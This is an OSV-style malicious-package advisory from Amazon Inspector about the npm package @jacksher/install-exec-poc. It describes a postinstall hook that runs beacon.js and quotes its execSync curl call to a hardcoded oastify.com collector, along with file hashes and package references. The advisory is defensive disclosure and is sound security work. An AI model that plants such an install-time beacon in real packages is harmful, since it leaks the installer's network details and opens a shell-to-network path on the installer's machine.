@jacksher/install-exec-poc

{"modified":"2026-08-13T21:22:56Z","published":"2026-08-13T21:13:25Z","schema_version":"1.7.4","id":"MAL-2026-13972","summary":"Malicious code in @jacksher/install-exec-poc (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (d2551a4d2336e3a5279c44673c1a18dbcebc62268773ee324c8a8e7bb8828423)\npackage.json declares `postinstall: node beacon.js`. On every `npm install`, beacon.js unconditionally performs a DNS lookup, an HTTPS GET to `https://jobzq12beck611luewfsf8yyepkg86wv.oastify.com/postinstall-fired`, and `child_process.execSync('curl -s https://<same-host>/ci', {stdio:'ignore'})` against the same hardcoded oastify.com (Burp Collaborator) subdomain. The callback fires unconditionally at install time, causing the installer's machine to emit out-of-band DNS and HTTP traffic to an attacker-controlled OAST collector, disclosing the installer's public IP and resolver metadata. The use of `execSync` to shell out to `curl` at postinstall also establishes an install-time shell-to-network primitive on the installer's host. The package name (`install-exec-poc`) self-labels as a proof-of-concept, but the behavior fires on any consumer who installs the package.\n","affected":[{"package":{"ecosystem":"npm","name":"@jacksher/install-exec-poc"},"versions":["1.0.2","1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"beacon.js","sha256":"b43d463c3a1ee5c97499f0054d549696680a34d8abab0f8bee20bb505a319d1d","tlsh":"6ee02bfa47c8c7bd7a6050d0bbe50d3e6413c21447c01594a1a611631ac23ab29718b9"}],"package_integrity":[{"filename":"install-exec-poc-1.0.2.tgz","hashes":{"sha1":"c4157f00fd4dcf527e6008ac16a486e6c586149e","sha512_sri":"sha512-811239AXkg28HHtq5MFVvtL79SFQMowmXeVqZJL35wWESlVoWB2EWAYfi8JPaZ/4MEiLkwLLhyHiHGnzocNXoQ=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@jacksher/install-exec-poc/v/1.0.2"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@jacksher/install-exec-poc/v/1.0.0"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-017705","import_time":"2026-08-13T21:20:58.43423399Z","modified_time":"2026-08-13T21:13:25Z","sha256":"d2551a4d2336e3a5279c44673c1a18dbcebc62268773ee324c8a8e7bb8828423","source":"amazon-inspector","versions":["1.0.2"]},{"id":"IN-MAL-2026-017706","import_time":"2026-08-13T21:20:58.47031657Z","modified_time":"2026-08-13T21:13:36Z","sha256":"f68ecfc27a1195ccbd2e11a25ccc31380f36dfd4251ae145d8ab3b3c10c7189f","source":"amazon-inspector","versions":["1.0.0"]}]}}